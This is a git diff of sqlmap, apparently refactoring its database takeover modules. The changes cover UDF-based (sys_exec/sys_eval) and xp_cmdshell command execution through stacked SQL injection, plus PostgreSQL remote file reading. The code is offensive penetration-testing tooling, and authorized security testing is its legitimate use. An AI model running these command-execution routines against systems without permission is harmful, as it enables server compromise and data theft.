diff --git a/lib/request/direct.py b/lib/request/direct.py index 62cc94090..995ebac4c 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -47,7 +47,7 @@ def direct(query, content=True): logger.log(9, query) start = time.time() - if not select: + if not select and "EXEC " not in query: _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif conf.hostname in kb.resumedQueries and query in kb.resumedQueries[conf.hostname] and "sqlmapoutput" not in query and "sqlmapfile" not in query: try: diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 8a714367e..0594d414a 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -76,32 +76,50 @@ class UDF: self.createSupportTbl(self.cmdTblName, self.tblField, dataType) + def udfForgeCmd(self, cmd): + if not cmd.startswith("'"): + cmd = "'%s" % cmd + + if not cmd.endswith("'"): + cmd = "%s'" % cmd + + return cmd + def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: - cmd = "'%s'" % cmd udfName = "sys_exec" - cmd = unescaper.unescape(cmd) + cmd = unescaper.unescape(self.udfForgeCmd(cmd)) - inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) + return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: - cmd = "'%s'" % cmd udfName = "sys_eval" - cmd = unescaper.unescape(cmd) + if conf.direct: + output = self.udfExecCmd(cmd, udfName=udfName) - inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False) - inject.goStacked("DELETE FROM %s" % self.cmdTblName) + if output and isinstance(output, (list, tuple)): + new_output = "" - if output and isinstance(output, (list, tuple)): - output = output[0] + for line in output: + new_output += line.replace("\r", "\n") + + output = new_output + else: + cmd = unescaper.unescape(self.udfForgeCmd(cmd)) + + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isinstance(output, (list, tuple)): output = output[0] + if output and isinstance(output, (list, tuple)): + output = output[0] + return output def udfCheckNeeded(self): diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index ce41b168c..e9672be83 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -107,29 +107,43 @@ class xp_cmdshell: def xpCmdshellExecCmd(self, cmd, silent=False): cmd = self.xpCmdshellForgeCmd(cmd) - inject.goStacked(cmd, silent) + return inject.goStacked(cmd, silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): self.getRemoteTempPath() - tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) - cmd = "%s > \"%s\"" % (cmd, tmpFile) + if conf.direct: + output = self.xpCmdshellExecCmd(cmd) - self.xpCmdshellExecCmd(cmd) + if output and isinstance(output, (list, tuple)): + new_output = "" - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) + for line in output: + if line == "NULL": + new_output += "\n" + else: + new_output += "%s\n" % line.strip("\r") - self.delRemoteFile(tmpFile) + output = new_output + else: + tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) + cmd = "%s > \"%s\"" % (cmd, tmpFile) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, unique=False, firstChar=first, lastChar=last, safeCharEncode=False) - inject.goStacked("DELETE FROM %s" % self.cmdTblName) + self.xpCmdshellExecCmd(cmd) - if output and isinstance(output, (list, tuple)): - output = output[0] + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) + + self.delRemoteFile(tmpFile) + + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, unique=False, firstChar=first, lastChar=last, safeCharEncode=False) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isinstance(output, (list, tuple)): output = output[0] + if output and isinstance(output, (list, tuple)): + output = output[0] + return output def xpCmdshellInit(self): diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 27cb11a2e..304c0ccb5 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -34,7 +34,7 @@ class Filesystem(GenericFilesystem): self.initEnv() - return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread") + return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "PostgreSQL does not support file upload with UNION "